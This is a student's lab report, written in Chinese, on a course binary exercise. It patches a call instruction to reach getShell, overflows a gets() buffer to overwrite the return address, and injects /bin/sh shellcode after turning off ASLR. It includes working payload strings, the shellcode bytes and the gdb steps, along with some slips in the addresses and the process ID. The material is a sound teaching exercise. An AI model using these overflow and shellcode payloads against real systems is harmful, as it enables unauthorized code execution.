Exp1_PC平台逆向破解
20174314 王方正
一、实验概述
1.1 实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
实践的目标就是运行程序中另一代码片段getshell,学习如何注入运行任何shellcode。
1.2 实验内容
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入并运行一段指定的shellcode。
二、实验准备
2.1 实验预备知识
2.1.1 部分汇编指令机器码
NOP指令:机器码为0x90,功能是no operation,执行Nop指令只使程序计数器PC加1,同时占用一个机器周期。
JNE指令:机器码为0x75,功能是若不相等则转移。
JE指令:机器码为0x74,功能是零/等于。
JMP指令:机器码为0xE9,功能是无条件转移。
CMP指令:机器码为0x3B,功能是cmp(compare)指令进行比较两个操作数的大小。
2.1.2 补码计算
相关博客:https://www.cnblogs.com/chiweiming/p/8932140.html
2.1.3 linux部分指令
本次实验需要用到管道,输入、输出重定向等指令。
|:管道,将前者的输出作为后者的输入。
>:输入输出重定向符,将前者输出的内容输入到后者中。
2.2 实验环境设置
在https://gitee.com/wildlinux/NetSec/attach_files下载附件pwn1。
解压后通过共享文件夹传输到Kali中。新建实验1的文件夹,将pwn1部署到文件夹中。为了后续实验,将pwn1进行两份备份,分别命名为pwn1,pwn2,pwn3。
三、实验步骤
3.1 直接修改程序机器指令,改变程序执行流程
Step1
打开终端,输入objdump -d pwn1 | more,回车。
说明:对pwn1进行反汇编,指令将反汇编所得到的内容通过管道输送到一个可执行文件,并分页显示。
Step2
输入/getShell,回车。
说明:通过/getShell找到getShell、main、foo 函数。其中结果显示080484b5 中的指令为call 8048491,即main函数调用地址为8048491的foo函数,然而根据题目要求我们需要使得main函数getShell。
由call指令机制我们知道,执行call指令时,EIP寄存器中存储下一条指令的地址,在截图中可以看到是0x080484ba。call指令有以下地址转移关系式。
EIP+offset=address
亦即0x080484ba+offset=0x0804847d(getShell函数地址)。
对于现有代码,我们可以验证0x080484ba+0xffffffd7=0x08048491,故而类似的,我们可以求出调用getShell函数所需的offset。
0x0804847d-0x080484ba=-0x00000061=0xffffffc3
即得offset为0xffffffc3,我们需要将d7修改为c3。
Step3
新建终端,输入vi pwn1,回车。
说明:打开vim编辑器。
Step4
按ESC后,输入:%!xxd,回车。
输入 /e8 d7,回车。
说明:将显示切换为16进制表示,查找内容“e8 d7”。
Step5
按ESC后,按i,将d7修改为c3。
说明:进入编辑模式,修改指令。
Step6
按ESC后,输入:%!xxd -r,回车。
说明:将16进制表示转换为原表示,否则程序无法正常运行。
Step7
输入:wq。
说明:保存退出。
Step8
新建终端,输入objdump -d pwn1|more,回车。
说明:验证修改结果,查看发现call指令正确调用getShell函数,至此的步骤成功。
3.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
Step1
新建终端,输入gdb pwn2,回车。
输入r,回车。
输入123456789012345678901234567890123456789012,回车。
说明:使用gdb调试pwn2,r即run,让程序进入运行状态。输入长度为42的字符串,程序发生段错误(Segmentation_fault)。
这与程序的堆栈结构有关。在之前查看程序内容时,我们研究foo程序的结构,会发现其有BOF漏洞。
此处,foo函数执行call指令后,留下了预留空间,大小为0x1c=28字节,然而注意此处call指令调用了gets函数。我们知道gets函数在C语言中是一种没有边界检查的字符串读入函数,这个特性在这里也会体现,即若我们输入的字符长于预留空间,那么就会覆盖高栈中的数据。
那么高栈中的什么数据会被覆盖呢?
这张我的手绘图说明了溢出的字符将覆盖的内容。其中值得注意的是,我们输入的33字节至36字节的内容将会覆盖EIP,这将成为本次实验的关键。
Step2
输入info r,回车。
说明:查看寄存器的各个寄存器的值,上一个Step已经说明,此处我们要注意EIP寄存器的内容。此处发现EIP的值已经被溢出的字符串覆盖。
Step3
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,回车。
输入xxd input,回车。
说明:既然溢出的字符串会覆盖EIP寄存器,那么我们通过设计字符串,让溢出的字符串正好应该是EIP寄存器应该存储的正确内容,那么我们就可以达成目的。
由于键盘无法输入十六进制值,我们通过Perl语言实现输入。之前我们知道getShell函数的地址为0x0804847d,这里我们设计时需要注意小段优先原则,“倒序”构造,并且手动添加“回车”(=0x0a)。
之后,查看文件内容,发现修改成功,如红框中内容所示。
Step4
输入(cat input; cat ) | ./pwn2,回车。
说明:通过管道将input的输入作为pwn2的输入注入,然后发现成功调用getShell函数,通过ls测试无误。即至此的步骤成功。
3.3 注入Shellcode并执行
Step1
新建终端,输入execstack -s pwn3,回车。
输入execstack -q pwn3,回车。
输入more /proc/sys/kernel/randomize_va_space,回车。
输入sudo bash -c “echo 0 > more /proc/sys/kernel/randomize_va_space”,回车。
输入用户密码,回车。
输入more /proc/sys/kernel/randomize_va_space,回车。
说明:以上指令分别进行设置堆栈可执行,查询文件堆栈是否可执行,查询地址随机化状态,关闭地址随机化,再次查询地址随机化状态。
对于地址随机化状态,只有查询为“0”才标志着关闭了地址随机化。此处插叙一开始未关闭地址随机化,遂通过Bash指令覆盖,然后关闭了地址随机化。
Step2
输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,回车。
输入(cat input_shellcode;cat) | ./pwn3,回车。
说明:通过Perl编辑字符串,用作文件执行的输入,其中\x4\x3\x2\x1将覆盖到堆栈的返回地址。利用管道进行注入,执行程序。此处编辑字符串万万注意,结尾不可是回车。
Step3
新建终端,输入ps -ef | grep pwn3,回车。
输入gdb,回车。
说明:查询pwn3的进程号,然后预备执行gdb。查询发现pwn3的进程号为16340。
Step4
输入attach 16430,回车。
说明:“抓住”pwn3。
Step5
输入disassemble foo,回车。
输入break *0x080484ae,回车。
说明:利用gdb工具对foo函数进行反汇编,发现ret指令的地址为0x080484ae,故在此地址设置断点。
Step6
回到前一终端,回车。
回到当前终端,输入c,回车。
说明:在之前编辑字符串未设置的回车,这里我们手动输入。输入之后,此处由于我们的设置,程序进入断点,然后我们在断点处continue,使得程序继续进行。
Step7
输入info r esp,回车。
输入x/16x 0xffffd25c,回车。
说明:查询ESP寄存器中的内容,接着以16禁止形式查单ESP所指寄存器后16字节的内容。找到目标“\x1\x2\x3\x4”,在“目标”地址后加4,即得Shellcode的地址。
0xffffd24c+0x00000004=0xffffd250
Step8
输入perl -e 'print "A" x 32;print "\x50\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,回车。
输入(cat input_shellcode;cat) | ./pwn3,回车。
说明:修改输入代码,重新注入并运行,查询ls验证,结果无误。目前为止步骤成功。什么?本次实验的全部内容都结束了?太不容易了,好好总结,分析过程中的错误,积累成功的经验,完成实验报告吧。
四、实验错误分析
4.1 execstack未安装
在执行execstack指令时,显示未找到指令,试图安直接安装也失败。
于是查找博客,发现需要换源(当时装完Kali懒了想到需要的时候再换,没想到这么快就需要了),遂在/etc/apt/sources.list中改变相应内容,之后更新系统,即完成换源。
之后顺利安装上了execstack。
4.2 关闭地址随机化无权限
在关闭地址随机化时,系统提示我无权限。
于是转至root用户,将20174314用户的权限拉满。
之后在关闭地址随机化时,不能使用和大家一样的语句,而要使用sudo bash,同时还需要输入密码。这里系统对我的灵魂拷问令我恐惧(并不)。
五、实验收获感想
5.1 什么是漏洞?漏洞有什么危害?
关于漏洞,我个人分它两种,一种是“人为”的,一种是“固有”的。
“人为”的漏洞,往往是程序员由于编程考虑不够细致,使用了存在明显可利用的语句或结构,同时未对于该语句或结构进行人为的限制的错误。比如本次实验的gets语句,若使用fgets,就可以克服本次缺陷,然而我们的示例实验代码并没有这么做,不然我们也不会攻击成功。
“固有”的漏洞,往往是程序在设计之初就存在的漏洞,世界上很难有让任何方面都充分考虑的事情,程序也一样。即使是虹膜+指纹+声纹如此限制唯一性的识别认证方式,程序固然不会有错,然而若使用者的心变了,其实也就是“漏洞”。
漏洞的危害同样的,有小有大。小到系统不能保存文件,几个小时的辛苦白费;大到间谍窃取商业机密乃至国家秘密,对社会造成严重危害。总说地,在这个高度信息化的时代,漏洞对于人们人际交往、日常生活、学习工作、信息安全等都会有不定程度的危害。
5.2 我的感想
5.2.1 学科的交融贯通
补码计算——计算机导论
堆栈——数据结构
gets语句无边界——程序设计基础
Linux语句——网络攻防技术
漏洞——信息安全概论
这次的实验可谓将之前的课程的内容全部贯通,每个实践步骤,每次理解代码都仿佛是对于以前课程的复习。有人说“听过很多道理,却仍过不好这一生”,但我希望“学过很多知识,并能做好这实验”。之前的知识如果没有掌握清楚,比如堆栈如果没有学好,我都能够想象重头学习的时候是多么的焦躁和懊悔;又比如若不知道gets不对边界进行判定,可能做实验只是知其然不知其所以然,搞不明白为什么会达到入侵的效果。学科的贯通给我的感觉很好,之后的实验也会继续体现的吧。
5.2.2 图形界面的依赖
回忆初学信安概论,以命令行为唯一工具,试图完成期末的一个实践。当时真是令我抓狂——真正意义上的“两眼一黑”,只有漆黑的cmd和白花花的代码,令我摸不清头脑。然而实际上,计算机就是这样运行的,为了用户使用方面,才“大费周章”加上些图形界面,让小白也能操作。真正想学懂计算机,就不能只做“表面功夫”,要到底层去看,去学。linux提供了完美的,我刚刚所描述的环境,花里胡哨的图形界面全部消失,想要操作?打开终端吧。在这次的实验中,我算是真正摆脱了对于图形界面的依赖,开始真正向计算机的底层迈进。
5.2.3 反复试错的耐心
大家都说这次实验容易,我真心没这么觉得。这次实验碰到的几个错误都让我措手不及,在小组里一时间也问不出答案来,只能在网上的博客里寻找类似的疑惑。最令我头疼的是Shellcode的最后一步,确定地址。然而我直接照搬其他同学的博客时,寻找\x90909090,根本无法得出答案,怎么重复都是段错误的结果。最后我在仔细研读了实验指导之后,按照真正明白了实验原理和真正应该寻找的“目标”,最后也如同实验报告里的,实验成功。期间反复的失败不断磨练我的耐心,所幸最终没有被辜负。